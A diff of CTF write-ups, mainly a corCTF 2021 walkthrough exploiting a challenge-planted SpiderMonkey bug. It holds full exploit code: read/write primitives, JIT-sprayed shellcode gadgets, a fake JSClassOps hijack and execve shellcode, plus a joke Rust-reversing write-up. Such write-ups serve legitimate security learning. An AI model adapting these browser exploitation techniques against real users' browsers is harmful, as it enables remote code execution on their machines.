`js::Shape`, which essentially describes +the memory layout of the object and is used, among other things, by the GC when +it needs to figure out what memory to collect. `slots_` and `elements_` point +to the memory that contains the array's properties, and elements respectively. +We can see this when printing the contents of memory in GDB. + +``` +js> let a = [1, 2, 3, 4] + +pwndbg> tele 0x0e704873d0e0 +00:0000│ 0xe704873d0e0 —▸ 0xe7048760e20 —▸ 0xe704873b208 —▸ 0x555557650e10 (js::ArrayObject::class_) —▸ 0x55555574c0be ◂— ... +01:0008│ 0xe704873d0e8 —▸ 0x5555557672a8 (emptyObjectSlotsHeaders+8) ◂— 0x100000000 +02:0010│ 0xe704873d0f0 —▸ 0xe704873d108 ◂— 0xfff8800000000001 +03:0018│ 0xe704873d0f8 ◂— 0x400000000 +04:0020│ 0xe704873d100 ◂— 0x400000006 +05:0028│ 0xe704873d108 ◂— 0xfff8800000000001 +06:0030│ 0xe704873d110 ◂— 0xfff8800000000002 +07:0038│ 0xe704873d118 ◂— 0xfff8800000000003 +08:0040│ 0xe704873d120 ◂— 0xfff8800000000004 +09:0048│ 0xe704873d128 ◂— 0x0 +... ↓ +``` + +As we can see, `elements_` points to `0xe704873d108`, which contains the 4 +elements of our array. Since a JavaScript array can contain any type of object, +and not just integers, the engine uses _NaN tagging_ to distinguish between +different types. Floats are stored as-is, and other types such as integers and +pointers contain a tag in the upper 17 bits that identifies their type. This is +called _NaN tagging_ because these tagged values correspond to special Not-a-Number +values when interpreted as a floating point number. Here, 0xfff88 is the tag for +integers, and we can indeed see that our 4 array elements are tagged in this way. + +We can verify this by printing the contents of an array that contains other types +of objects: +``` +js> let a = [1, 2, 13.37, []] + +pwndbg> tele 0x10d983000698 +00:0000│ 0x10d983000698 —▸ 0x12997c760e20 —▸ 0x12997c73b208 —▸ 0x555557650e10 (js::ArrayObject::class_) —▸ 0x55555574c0be ◂— ... +01:0008│ 0x10d9830006a0 —▸ 0x5555557672a8 (emptyObjectSlotsHeaders+8) ◂— 0x100000000 +02:0010│ 0x10d9830006a8 —▸ 0x10d9830006c0 ◂— 0xfff8800000000001 +03:0018│ 0x10d9830006b0 ◂— 0x400000000 +04:0020│ 0x10d9830006b8 ◂— 0x400000006 +05:0028│ 0x10d9830006c0 ◂— 0xfff8800000000001 +06:0030│ 0x10d9830006c8 ◂— 0xfff8800000000002 +07:0038│ 0x10d9830006d0 ◂— 0x402abd70a3d70a3d +08:0040│ 0x10d9830006d8 ◂— 0xfffe10d9830006f8 +09:0048│ 0x10d9830006e0 ◂— 0x0 +0a:0050│ 0x10d9830006e8 ◂— 0x0 + +pwndbg> p *(double*)0x10d9830006d0 +$2 = 13.369999999999999 +``` + +As we expected, 1 and 2 are tagged with 0xfff88, the float is stored untagged, +and the pointer to the array is tagged with 0xfffe. The other two qwords between +`elements_` and the elements storage is a `js::ObjectElements` object that +describes the length and capacity of the array: + +``` +pwndbg> ptype /o js::ObjectElements +/* offset | size */ type = class js::ObjectElements { + private: +/* 0 | 4 */ uint32_t flags; +/* 4 | 4 */ uint32_t initializedLength; +/* 8 | 4 */ uint32_t capacity; +/* 12 | 4 */ uint32_t length; + /* total size (bytes): 16 */ + } + +pwndbg> p *(js::ObjectElements*)0x10d9830006b0 +$3 = { + flags = 0, + initializedLength = 4, + capacity = 6, + length = 4, +} +``` + +A typical technique used in exploiting JavaScript engines is to overwrite the +elements pointer of an array, then read or write to the array to gain arbitrary +memory read and write. While this works, it would be annoying to do so in our +exploit because we would need to tag/untag values all the time and we wouldn't +be able to write values that don't correspond to a valid float or tagged value. +Fortunately the JavaScript spec gives us another data structure that is much +more convenient for this. + +### JS TypedArrays + +In contrast to regular JavaScript arrays, a TypedArray can only contain integers +of a fixed size. For example a Uint32Array can only contain unsigned 32-bit integers. +The elements of a TypedArray are always stored untagged, just like in a C array. +This avoids the problems I described in the previous section and makes TypedArrays +a popular corruption target in JavaScript engine exploits. SpiderMonkey represents +TypedArrays as a [js::ArrayBufferViewObject](https://searchfox.org/mozilla-central/rev/4cca5d2f257c6f1bcef50a0debcbd66524add703/js/src/vm/ArrayBufferViewObject.h#25): + +```cpp +class ArrayBufferViewObject : public NativeObject { + public: + // Underlying (Shared)ArrayBufferObject. + static constexpr size_t BUFFER_SLOT = 0; + + // Slot containing length of the view in number of typed elements. + static constexpr size_t LENGTH_SLOT = 1; + + // Offset of view within underlying (Shared)ArrayBufferObject. + static constexpr size_t BYTEOFFSET_SLOT = 2; + + // Pointer to raw buffer memory. + static constexpr size_t DATA_SLOT = 3; + + // ... +} +``` + +``` +js> let a = new Uint32Array([1, 2, 3, 4]) + +pwndbg> tele 0x07e2a5200698 +00:0000│ 0x7e2a5200698 —▸ 0x31e83964940 —▸ 0x31e8393b2b0 —▸ 0x555557664870 (js::TypedArrayObject::classes+240) —▸ 0x555555735fd4 ◂— ... +01:0008│ 0x7e2a52006a0 —▸ 0x5555557672a8 (emptyObjectSlotsHeaders+8) ◂— 0x100000000 +02:0010│ 0x7e2a52006a8 —▸ 0x555555767280 (emptyElementsHeader+16) ◂— 0xfff9800000000000 +03:0018│ 0x7e2a52006b0 ◂— 0xfffa000000000000 +04:0020│ 0x7e2a52006b8 ◂— 0x4 +05:0028│ 0x7e2a52006c0 ◂— 0x0 +06:0030│ 0x7e2a52006c8 —▸ 0x7e2a52006d0 ◂— 0x200000001 +07:0038│ 0x7e2a52006d0 ◂— 0x200000001 +pwndbg> +08:0040│ 0x7e2a52006d8 ◂— 0x400000003 +09:0048│ 0x7e2a52006e0 ◂— 0x0 +... ↓ +``` + +An `ArrayBufferViewObject` has shape, objects, and elements pointers just like +a `NativeObject`. The memory that follows the elements pointers is the storage +for the TypedArray's _slots_, which in this case contain a pointer to an +ArrayBufferObject, the length of the TypedArray, the offset into the +ArrayBufferObject, and a pointer to the TypedArray's elements. The ArrayBuffer +and byte offset pointers aren't really relevant for this exploit so we'll ignore +them here. The data slot is what we really care about, and as you can see it +contains our (untagged) numbers: + +``` +pwndbg> x/4wx 0x7e2a52006d0 +0x7e2a52006d0: 0x00000001 0x00000002 0x00000003 0x00000004 +``` + +## Exploitation + +Most, if not all JavaScript engine exploits follow a similar plan: gain arbitrary +read/write in the process' address space and the use that to overwrite some +executable code with shellcode or overwrite a code pointer and start a JOP/ROP +chain. We'll develop the exploit in the JavaScript shell and then make it work +in Firefox. + +### Arbitrary R/W + +So far the plan seems clear. We will use `Array.prototype.oob` to overwrite the +data pointer of a TypedArray and then use that to read and write to any address. + +Let's start by allocating a regular array and a TypedArray. Most (all?) JavaScript +engines allocate objects in sequence, so if we allocate the array the typed +array one after the other they should be next to each other in memory. + +```js +let a = new Array(1,2,3,4,5,6); +let b = new BigUint64Array(1); +``` + +``` +pwndbg> tele 0x10a04c000698 +00:0000│ 0x10a04c000698 —▸ 0x3c159f560e20 —▸ 0x3c159f53b208 —▸ 0x555557650e10 (js::ArrayObject::class_) —▸ 0x55555574c0be ◂— ... +01:0008│ 0x10a04c0006a0 —▸ 0x5555557672a8 (emptyObjectSlotsHeaders+8) ◂— 0x100000000 +02:0010│ 0x10a04c0006a8 —▸ 0x10a04c0006c0 ◂— 0xfff8800000000001 +03:0018│ 0x10a04c0006b0 ◂— 0x600000000 +04:0020│ 0x10a04c0006b8 ◂— 0x600000006 +05:0028│ 0x10a04c0006c0 ◂— 0xfff8800000000001 +06:0030│ 0x10a04c0006c8 ◂— 0xfff8800000000002 +07:0038│ 0x10a04c0006d0 ◂— 0xfff8800000000003 +pwndbg> +08:0040│ 0x10a04c0006d8 ◂— 0xfff8800000000004 +09:0048│ 0x10a04c0006e0 ◂— 0xfff8800000000005 +0a:0050│ 0x10a04c0006e8 ◂— 0xfff8800000000006 +0b:0058│ 0x10a04c0006f0 —▸ 0x7ffff53ac910 —▸ 0x7ffff53ac000 —▸ 0x7ffff653b000 —▸ 0x7ffff5343000 ◂— ... +0c:0060│ 0x10a04c0006f8 —▸ 0x3c159f564860 —▸ 0x3c159f53b280 —▸ 0x555557664960 (js::TypedArrayObject::classes+480) —▸ 0x55555574f29b ◂— ... +0d:0068│ 0x10a04c000700 —▸ 0x5555557672a8 (emptyObjectSlotsHeaders+8) ◂— 0x100000000 +0e:0070│ 0x10a04c000708 —▸ 0x555555767280 (emptyElementsHeader+16) ◂— 0xfff9800000000000 +0f:0078│ 0x10a04c000710 ◂— 0xfffa000000000000 +pwndbg> +10:0080│ 0x10a04c000718 ◂— 0x1 +11:0088│ 0x10a04c000720 ◂— 0x0 +12:0090│ 0x10a04c000728 —▸ 0x10a04c000730 ◂— 0x0 +13:0098│ 0x10a04c000730 ◂— 0x0 +... ↓ 4 skipped + +pwndbg> distance 0x10a04c0006c0 0x10a04c000728 +0x10a04c0006c0->0x10a04c000728 is 0x68 bytes (0xd words) +``` + +`b`'s data pointer is at `0x10a04c000728` and `a`'s elements are at +`0x10a04c0006c0`. This means that we can overwrite `b`'s data pointer by writing +to the 13th element with `oob`. + +```js +let converter = new ArrayBuffer(8); +let u64view = new BigUint64Array(converter); +let f64view = new Float64Array(converter); + +// Bit-cast an uint64_t to a float64 +function i2d(x) { + u64view[0] = x; + return f64view[0]; +} + +// Bit-cast a float64 to an uint64_t +function d2i(x) { + f64view[0] = x; + return u64view[0]; +} + +let a = new Array(1,2,3,4,5,6); +let b = new BigUint64Array(1); + +a.oob(13, i2d(0x41414141n)) +b[0] = 0n +``` + +This crashes by trying to write 0 to 0x41414141, exactly like we would expect: + +``` +Thread 1 "js" received signal SIGSEGV, Segmentation fault. +0x000022760cf0b110 in ?? () +────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────── + RAX 0x41414141 + RBX 0x7fffffffc3c8 —▸ 0xbec6100898 —▸ 0x109615e65ac0 —▸ 0x109615e3b2b0 —▸ 0x555557664960 (js::TypedArrayObject::classes+480) ◂— ... + RCX 0x41414141 + RDX 0xfff9800000000000 + RDI 0x41414141 + RSI 0x0 + R8 0x7fffffffc798 ◂— 0xffffffffffffffff + R9 0x7fffffffc468 ◂— 0x0 + R10 0xffff800000000000 + R11 0x7fffffffc620 ◂— 0x0 + R12 0xfffdffffffffffff + R13 0xbec6100898 —▸ 0x109615e65ac0 —▸ 0x109615e3b2b0 —▸ 0x555557664960 (js::TypedArrayObject::classes+480) —▸ 0x55555574f29b ◂— ... + R14 0x7fffffffc798 ◂— 0xffffffffffffffff + R15 0x0 + RBP 0x7fffffffc390 —▸ 0x7fffffffc400 —▸ 0x7fffffffc500 —▸ 0x7fffffffc8e0 —▸ 0x7fffffffc930 ◂— ... + RSP 0x7fffffffc358 —▸ 0x555556b2a783 ◂— jmp 0x555556b2a8e1 + RIP 0x22760cf0b110 ◂— mov qword ptr [rdi], rsi +──────────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────── + ► 0x22760cf0b110 mov qword ptr [rdi], rsi + 0x22760cf0b113 ret +``` + +We'll encapsulate this in two utility functions, `read64` and `write64`: + +```js +// Read 64 bits from addr +function read64(addr) { + a.oob(13, i2d(addr)) + return b[0]; +} + +// Write 64 bits to addr +function write64(addr, value) { + a.oob(13, i2d(addr)); + b[0] = value; +} +``` + +### Code Execution, Take 1 + +Before I explain how my final exploit works, I'd like to discuss a technique +which I tried to use at first and which worked in the JS shell but not in Firefox. +I'm not quite sure why it didn't work in Firefox but if you figure it out, let +me know! :) + +When researching previous writeups for Firefox challenges I came across [this analysis](https://bruce30262.github.io/Learning-browser-exploitation-via-33C3-CTF-feuerfuchs-challenge/) +of Saelo's [Feuerfuchs](https://github.com/saelo/feuerfuchs) challenge from 33c3. +As it turns out, Firefox does not have full RELRO on Linux (!), so the GOT is +writable. Moreover, the implementation of `TypedArray.prototype.copyWithin(0, x)` +calls `memmove` with the address of the TypedArray's data buffer as the first +argument. In this situation, getting code execution is as simple as overwriting +the GOT entry of `memmove` with the address of `system`, putting our command +in a Uint8Array and calling `copyWithin(0, 1)` on it. Getting the address of +libc and the address of the GOT is trivial with arbitrary read/write: the +TypedArray's `slots_` and `elements_`, which we can leak with `oob`, point to +static objects. Unfortunately for us for some reason even though the GOT of +`libxul.so` (the library that contains the JS engine in Firefox) is writable, +the pointer to `memmove` is not in the GOT. It's in some other section that is +read-only, and the PLT stub for `memmove` gets the address from that section. +I spent a lot of time debugging this and trying to make it work but eventually +had to give up and search for another strategy. Such is life. + +### Code Execution, Take 2 + +Another common technique to turn arbitrary read/write into code execution in a +JavaScript engine is to find and overwrite some executable code. On modern OSes +a memory region is normally either writable or executable, but not both at the +same time to prevent code injection attacks. However the JavaScript engines used +in modern browsers make heavy use of JIT compilation and flipping page +permissions is relatively expensive. So expensive that sometimes browser authors +would rather have memory that is both writable and executable at the same time +than pay the performance cost. This is notably the case with +[WebAssembly in Chrome](https://news.ycombinator.com/item?id=18812449), which +is a [well-known](https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/#code-execution) +way to get RWX memory in the renderer process. Unfortunately, it seems that +there is no such easy bypass in Firefox. Or at least I couldn't find one by +searching the internet, let me know if I missed something :) We are going to need +yet another approach. + +### Code Execution, Take 3 + +At this point I went back to [0vercl0k's blog post](https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/), +which has a section on how to [get the JIT compiler to generate arbitrary gadgets for you](https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#force-the-jit-of-arbitrary-gadgets-bring-your-own-gadgets). +Sounds promising! The idea is to encode some machine instructions in JavaScript +floating-point constants, then get the JIT to compile your function. The compiled +machine code will contain our constants (aka our gadgets) as immediates and we +can execute them by jumping into the middle of the immediate. Cool! I even found +[a blog post](https://vigneshsrao.github.io/posts/writeup/#injecting-shellcode) +that includes some Linux shellcode so I don't even have to write my own ;) +This shellcode reads a pointer from `[rcx]`, changes the protection of the page +containing that address to RWX, and jumps to it. + +All we have to do is find a way to jump to the JITed shellcode with rcx pointing +to a pointer to controlled data. Again, +0vercl0k's blog post is very useful here, specifically [this section](https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#hijacking-control-flow). In short, +every JS object type (e.g. `js::ArrayObject`) in SpiderMonkey has an associated +`JSClass` which describes the type. + +``` +pwndbg> ptype /o JSClass +/* offset | size */ type = struct JSClass { +/* 0 | 8 */ const char *name; +/* 8 | 4 */ uint32_t flags; +/* XXX 4-byte hole */ +/* 16 | 8 */ const struct JSClassOps *cOps; +/* 24 | 8 */ const struct js::ClassSpec *spec; +/* 32 | 8 */ const struct js::ClassExtension *ext; +/* 40 | 8 */ const struct js::ObjectOps *oOps; + + /* total size (bytes): 48 */ + } +``` + +`JSClass::cOps` points to a table of function pointers which the engine calls +when the JavaScript code does certain operations on an object that belongs to +this class, much like a C++ vtable: + +``` +pwndbg> ptype /o JSClassOps +/* offset | size */ type = struct JSClassOps { +/* 0 | 8 */ JSAddPropertyOp addProperty; +/* 8 | 8 */ JSDeletePropertyOp delProperty; +/* 16 | 8 */ JSEnumerateOp enumerate; +/* 24 | 8 */ JSNewEnumerateOp newEnumerate; +/* 32 | 8 */ JSResolveOp resolve; +/* 40 | 8 */ JSMayResolveOp mayResolve; +/* 48 | 8 */ JSFinalizeOp finalize; +/* 56 | 8 */ JSNative call; +/* 64 | 8 */ JSHasInstanceOp hasInstance; +/* 72 | 8 */ JSNative construct; +/* 80 | 8 */ JSTraceOp trace; + + /* total size (bytes): 88 */ + } +pwndbg> ptype JSAddPropertyOp +type = bool (*)(struct JSContext *, JS::HandleObject, JS::HandleId, JS::HandleValue) +``` + +For example, `cOps->addProperty` is called whenever JS code adds a new property +to the object. The fourth argument (stored in `rcx` on Linux) contains a handle +(a pointer) to the value of the new property. This is perfect because we can +completely control this value, and for example we can pass the address of a +buffer containing a second-stage shellcode. Great! + +We cannot directly overwrite the `JsClassOps` because they are stored in read-only +memory. However we can simply follow the chain of pointers from our object to +`JSClassOps` and replace the last pointer in the chain that is in writable memory +with a pointer to a fake. Again, this is all described in 0vercl0k's post so +I won't bore you with the details. + +```js +// Return the address of a JavaScript object +function addrof(x) { + a.oob(14, x); + return b[0] & 0xffffffffffffn; +} + +const addrof_target = addrof(target); +const target_shape = read64(addrof_target); +const target_base_shape = read64(target_shape); +const target_class = read64(target_base_shape); +const target_ops = read64(target_class + 0x10n); +print(`addrof(target) = ${hex(addrof_target)}`); +print(`target->shape = ${hex(target_shape)}`); +print(`target->shape->base_shape = ${hex(target_base_shape)}`); +print(`target->shape->base_shape->class = ${hex(target_class)}`); +print(`target->shape->base_shape->class->ops = ${hex(target_ops)}`); + +const fake_class = new BigUint64Array(48); +const fake_class_buffer = read64(addrof(fake_class) + 0x30n); +for (let i = 0; i < 6; i++) { + fake_class[i] = read64(target_class + BigInt(i) * 8n); +} + +const fake_ops = new BigUint64Array(88); +const fake_ops_buffer = read64(addrof(fake_ops) + 0x30n); +for (let i = 0; i < 11; i++) { + fake_ops[i] = read64(target_ops + BigInt(i) * 8n); +} + +fake_ops[0] = stage1_addr; +fake_class[2] = fake_ops_buffer; +write64(target_base_shape, fake_class_buffer); + +target.someprop = i2d(shellcode_addr); +``` + +Now all that we have to do is to get the JIT to compile our code and find it in +memory. The first part is easy, simply put it in a function and call it many times +in a loop until the JIT decides that the function is hot and compiles it: + +```js +function jitme () { + // ... +} + +for (let i = 0; i < 100000; i++) { + jitme(); +} +``` + +The second part is a bit more tricky. JavaScript functions are represented by a +JSFunction, and we can find the region containing the compiled code for that +function by following pointers, like this (pointers to executable memory are +highlighted in red): + +![](outfoxed1.png) + +We can get the address of the function by storing it into our TypedArray with +`oob` and then reading the address back, then follow the pointers until the +code pointer. However the code pointer doesn't exactly point to the beginning +of the function, but rather to some other place in the same page. The author of +the writeup that I got the shellcode from solves this by embedding a magic +number in the shellcode and then searching for it using the arbitrary read/write. +We'll do the same. + +```js +// Read size bytes from addr +function read(addr, size) { + assert(size % 8n === 0n); + let ret = new BigUint64Array(Number(size) / 8); + for (let i = 0n; i < size / 8n; i++) { + ret[i] = read64(addr + i * 8n) + } + return new Uint8Array(ret.buffer); +} + +const addrof_jitme = addrof(jitme); +const codepage_addr = read64(read64(addrof_jitme + 0x28n)) & 0xfffffffffffff000n; +print(`addrof(jitme) = ${hex(addrof_jitme)}`); +print(`code page at = ${hex(codepage_addr)}`); + +const code = read(codepage_addr, 0x1000n); + +let stage1_offset = -1; +for (let i = 0; i < 0x1000 - 8; i++) { + if (code[i] == 0x37 && code[i + 1] == 0x13 && code[i + 2] == 0x37 + && code[i + 3] == 0x13 && code[i + 4] == 0x37 && code[i + 5] == 0x13 + && code[i + 6] == 0x37 && code[i + 7] == 0x13) { + stage1_offset = i + 14; + break; + } +} + +assert(stage1_offset !== -1); +const stage1_addr = BigInt(stage1_offset) + codepage_addr; +print(`stage1_addr = ${hex(stage1_addr)}`); +``` + +That's basically it, not we just have to put it all together + +```js +let converter = new ArrayBuffer(8); +let u64view = new BigUint64Array(converter); +let f64view = new Float64Array(converter); + +// Bit-cast an uint64_t to a float64 +function i2d(x) { + u64view[0] = x; + return f64view[0]; +} + +// Bit-cast a float64 to an uint64_t +function d2i(x) { + f64view[0] = x; + return u64view[0]; +} + +function print(x) { + console.log(x); +} + +function hex(x) { + return `0x${x.toString(16)}`; +} + +function assert(x, msg) { + if (!x) { + throw new Error(msg); + } +} + +// https://github.com/vigneshsrao/CVE-2019-11707/blob/master/exploit.js#L196 +// mprotects the shellcode whose address is in [rcx] as rwx and jumps to it +function jitme () { + const magic = 4.183559446463817e-216; + + const g1 = 1.4501798452584495e-277; + const g2 = 1.4499730218924257e-277; + const g3 = 1.4632559875735264e-277; + const g4 = 1.4364759325952765e-277; + const g5 = 1.450128571490163e-277; + const g6 = 1.4501798485024445e-277; + const g7 = 1.4345589835166586e-277; + const g8 = 1.616527814e-314; +} + +function pwn() { + let a = new Array(1,2,3,4,5,6); + let b = new BigUint64Array(1); + + // Read 64 bits from addr + function read64(addr) { + const olddata = a.oob(13); + a.oob(13, i2d(addr)) + const ret = b[0]; + a.oob(13, olddata); + return ret; + } + + // Write 64 bits to addr + function write64(addr, value) { + const olddata = a.oob(13); + a.oob(13, i2d(addr)); + b[0] = value; + a.oob(13, olddata); + } + + // Read size bytes from addr + function read(addr, size) { + assert(size % 8n === 0n); + let ret = new BigUint64Array(Number(size) / 8); + for (let i = 0n; i < size / 8n; i++) { + ret[i] = read64(addr + i * 8n) + } + return new Uint8Array(ret.buffer); + } + + // Return the address of a JavaScript object + function addrof(x) { + a.oob(14, x); + return b[0] & 0xffffffffffffn; + } + + for (let i = 0; i < 100000; i++) { + jitme(); + } + + const addrof_jitme = addrof(jitme); + const codepage_addr = read64(read64(addrof_jitme + 0x28n)) & 0xfffffffffffff000n; + print(`addrof(jitme) = ${hex(addrof_jitme)}`); + print(`code page at = ${hex(codepage_addr)}`); + + const code = read(codepage_addr, 0x1000n); + let stage1_offset = -1; + for (let i = 0; i < 0x1000 - 8; i++) { + if (code[i] == 0x37 && code[i + 1] == 0x13 && code[i + 2] == 0x37 + && code[i + 3] == 0x13 && code[i + 4] == 0x37 && code[i + 5] == 0x13 + && code[i + 6] == 0x37 && code[i + 7] == 0x13) { + stage1_offset = i + 14; + break; + } + } + + assert(stage1_offset !== -1); + const stage1_addr = BigInt(stage1_offset) + codepage_addr; + print(`stage1_addr = ${hex(stage1_addr)}`); + + // execve('/reader') + const shellcode = new Uint8Array([0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x50, 0x48, 0xb8, 0x2e, 0x73, 0x64, 0x60, 0x65, 0x64, 0x73, 0x1, 0x48, 0x31, 0x4, 0x24, 0x48, 0x89, 0xe7, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x3b, 0x58, 0xf, 0x5, 0xcc]); + + const addrof_shellcode = addrof(shellcode); + const shellcode_shape = read64(addrof_shellcode); + const shellcode_base_shape = read64(shellcode_shape); + const shellcode_class = read64(shellcode_base_shape); + const shellcode_ops = read64(shellcode_class + 0x10n); + const shellcode_data = read64(addrof_shellcode + 0x30n); + print(`addrof(shellcode) = ${hex(addrof_shellcode)}`); + print(`shellcode->shape = ${hex(shellcode_shape)}`); + print(`shellcode->shape->base_shape = ${hex(shellcode_base_shape)}`); + print(`shellcode->shape->base_shape->class = ${hex(shellcode_class)}`); + print(`shellcode->shape->base_shape->class->ops = ${hex(shellcode_ops)}`); + print(`shellcode->data = ${hex(shellcode_data)}`); + + const fake_class = new BigUint64Array(48); + const fake_class_buffer = read64(addrof(fake_class) + 0x30n); + for (let i = 0; i < 6; i++) { + fake_class[i] = read64(shellcode_class + BigInt(i) * 8n); + } + + const fake_ops = new BigUint64Array(88); + const fake_ops_buffer = read64(addrof(fake_ops) + 0x30n); + for (let i = 0; i < 11; i++) { + fake_ops[i] = read64(shellcode_ops + BigInt(i) * 8n); + } + + fake_ops[0] = stage1_addr; + fake_class[2] = fake_ops_buffer; + write64(shellcode_base_shape, fake_class_buffer); + + shellcode.someprop = i2d(shellcode_data); +} + +try { + pwn(); +} catch (e) { + print(`Got exception: ${e}`); +} +``` + +``` +$ python3 upload.py +[+] Opening connection to outfoxed.be.ax on port 37685: Done +[*] Switching to interactive mode +Enter exploit followed by EOF: +[GFX1-]: glxtest: libpci missing +[GFX1-]: glxtest: libGL.so.1 missing +[GFX1-]: glxtest: libEGL missing +[GFX1-]: No GPUs detected via PCI +[GFX1-]: RenderCompositorSWGL failed mapping default framebuffer, no dt +corctf{just_4_b4by_f0x} +[*] Interrupted +[*] Closed connection to outfoxed.be.ax port 37685 +``` + +## Conclusion + +In this challenge we exploited a bug in SpiderMonkey to gain arbitrary native +code execution. I had never worked with Firefox before so this was a nice change +from the usual Chrome challenges and at the same time it shows how similar the +various JS engines are. Thanks to the author for writing this! \ No newline at end of file diff --git a/corCTF-2021/pwn/outfoxed1.png b/corCTF-2021/pwn/outfoxed1.png new file mode 100755 index 0000000..8320a35 Binary files /dev/null and b/corCTF-2021/pwn/outfoxed1.png differ diff --git a/corCTF-2021/rev/circus.html b/corCTF-2021/rev/circus.html new file mode 100755 index 0000000..7017b69 --- /dev/null +++ b/corCTF-2021/rev/circus.html @@ -0,0 +1,314 @@ + + + + + +circus | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

circus

+ +

Beware, the writeup below is a meme. I might make a legit writeup at some point, but today is not this day.

+ +

Authors: gallileo

+ +

Tags: rev, rust, meme

+ +

Points: 499

+ +
+

I love Rust,

+ +

Rust or Bust.

+ +

Rust for life and ‘til death do us part.

+ +

Rust of the Rings!

+ +

I do not like the garbage collector.

+ +

It always gives me strife.

+ +

It is the curse, that is our marriage,

+ +

And I will hate it until I die.

+ +

I’ll run away and disavow it.

+ +

My love for it will never grow.

+ +

It used to be a healthy marriage,

+ +

But it is over now.

+ +

It was when Rust came out

+ +

And start to use the memory-safe features

+ +

As the garbage collector had no choice,

+ +

But to accept that it was over as well.

+ +

I’ll not complain about memory safety.

+ +

It is a good thing, I suppose.

+ +

But when I need to mutate a single mapping,

+ +

I want to be in charge of the mapping.

+ +

I don’t want to be told no,

+ +

I want to have control over the flow.

+ +

circus.tar.xz

+
+ +

Reading the poem it’s clear that the challenge will be in Rust. +Having reversed Rust before, I was prepared for the worst. +Luckily I had my trusty binary analysis tool binary ninja (binja for short) 1 read to go ham.

+ +

Loading up the binary in binja, it definitely looks like Rust. Thankfully, binja makes it look quite decent, nothing what it would like in inferior tools, like IDA or Ghidra2. +Here we first look at the main function:

+ +

ASM

+
+ +
+ +

HLIL

+
+ +
+ +

We see some kind of socket being opened and what looks like a message reading loop. +Even though it is rust, it still looks fairly readable thanks to binja3. +With some guessing, we figure out that sub_96a0 is responsible for “decoding” our message. +We further inspect sub_96a0:

+ +

ASM

+
+ +
+ +

HLIL

+
+ +
+ +

This looks really cancerous, even without considering that we are dealing with a Rust binary. +Deciding that I don’t want to deal with this right now, I just open a ticket with the admins and complain that the challenge is broken. Immediately I get recognized and things progress smoothly from there:

+ +

recognized

+ +

After sending some nice binja screenshots, I convinced the admins of my binja skills and they trusted me that the challenge was really broken. +Shortly afterwards, I receive a nice little DM:

+ +

flag

+ +

(Not included: The many hours spent actually revving it, getting it to work locally and then it actually being broken on the server - no cap - because it was too slow)

+ +
+
    +
  1. +

    Trust me it is really the best out there, you should go and get it right now! 

    +
  2. +
  3. +

    It’s even better than objdump if you can believe it! 

    +
  4. +
  5. +

    binja is awesome :) 

    +
  6. +
+
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/corCTF-2021/rev/circus.md b/corCTF-2021/rev/circus.md new file mode 100755 index 0000000..3853918 --- /dev/null +++ b/corCTF-2021/rev/circus.md @@ -0,0 +1,107 @@ +# circus + +**Beware, the writeup below is a meme. I might make a legit writeup at some point, but today is not this day.** + +**Authors:** [gallileo](https://twitter.com/galli_leo_) + +**Tags:** rev, rust, meme + +**Points:** 499 + +> I love Rust, +> +> Rust or Bust. +> +> Rust for life and 'til death do us part. +> +> Rust of the Rings! +> +> I do not like the garbage collector. +> +> It always gives me strife. +> +> It is the curse, that is our marriage, +> +> And I will hate it until I die. +> +> I'll run away and disavow it. +> +> My love for it will never grow. +> +> It used to be a healthy marriage, +> +> But it is over now. +> +> It was when Rust came out +> +> And start to use the memory-safe features +> +> As the garbage collector had no choice, +> +> But to accept that it was over as well. +> +> I'll not complain about memory safety. +> +> It is a good thing, I suppose. +> +> But when I need to mutate a single mapping, +> +> I want to be in charge of the mapping. +> +> I don't want to be told no, +> +> I want to have control over the flow. +> +> +> [circus.tar.xz](https://corctf2021-files.storage.googleapis.com/uploads/fe0ec7d942bdebae3284ab269da52ecdfbe8ba7a808ea2b2422ebf176203fb25/circus.tar.gz) + + +Reading the poem it's clear that the challenge will be in Rust. +Having reversed Rust before, I was prepared for the worst. +Luckily I had my trusty binary analysis tool [binary ninja (binja for short)](https://binary.ninja) [^1] read to go ham. + +Loading up the binary in binja, it definitely looks like Rust. Thankfully, binja makes it look quite decent, nothing what it would like in inferior tools, like IDA or Ghidra[^2]. +Here we first look at the main function: + +## ASM +
+ +
+ +## HLIL +
+ +
+ +We see some kind of socket being opened and what looks like a message reading loop. +Even though it is rust, it still looks fairly readable thanks to binja[^3]. +With some guessing, we figure out that `sub_96a0` is responsible for "decoding" our message. +We further inspect `sub_96a0`: + +## ASM +
+ +
+ +## HLIL +
+ +
+ +This looks really cancerous, even without considering that we are dealing with a Rust binary. +Deciding that I don't want to deal with this right now, I just open a ticket with the admins and complain that the challenge is broken. Immediately I get recognized and things progress smoothly from there: + +![recognized](./recognized.png) + +After sending some nice binja screenshots, I convinced the admins of my binja skills and they trusted me that the challenge was really broken. +Shortly afterwards, I receive a nice little DM: + +![flag](./flag.png) + +*(Not included: The many hours spent actually revving it, getting it to work locally and then it actually being broken on the server - no cap - because it was too slow)* + +[^1]: Trust me it is really the best out there, you should go and get it right now! + +[^2]: It's even better than objdump if you can believe it! + +[^3]: binja is awesome :) \ No newline at end of file diff --git a/corCTF-2021/rev/flag.png b/corCTF-2021/rev/flag.png new file mode 100755 index 0000000..031f4b3 Binary files /dev/null and b/corCTF-2021/rev/flag.png differ diff --git a/corCTF-2021/rev/main.png b/corCTF-2021/rev/main.png new file mode 100755 index 0000000..c0f7df8 Binary files /dev/null and b/corCTF-2021/rev/main.png differ diff --git a/corCTF-2021/rev/recognized.png b/corCTF-2021/rev/recognized.png new file mode 100755 index 0000000..0abf284 Binary files /dev/null and b/corCTF-2021/rev/recognized.png differ diff --git a/dicectf-2022/crypto/commitment.py b/dicectf-2022/crypto/commitment.py new file mode 100755 index 0000000..0eb90cc --- /dev/null +++ b/dicectf-2022/crypto/commitment.py @@ -0,0 +1,38 @@ 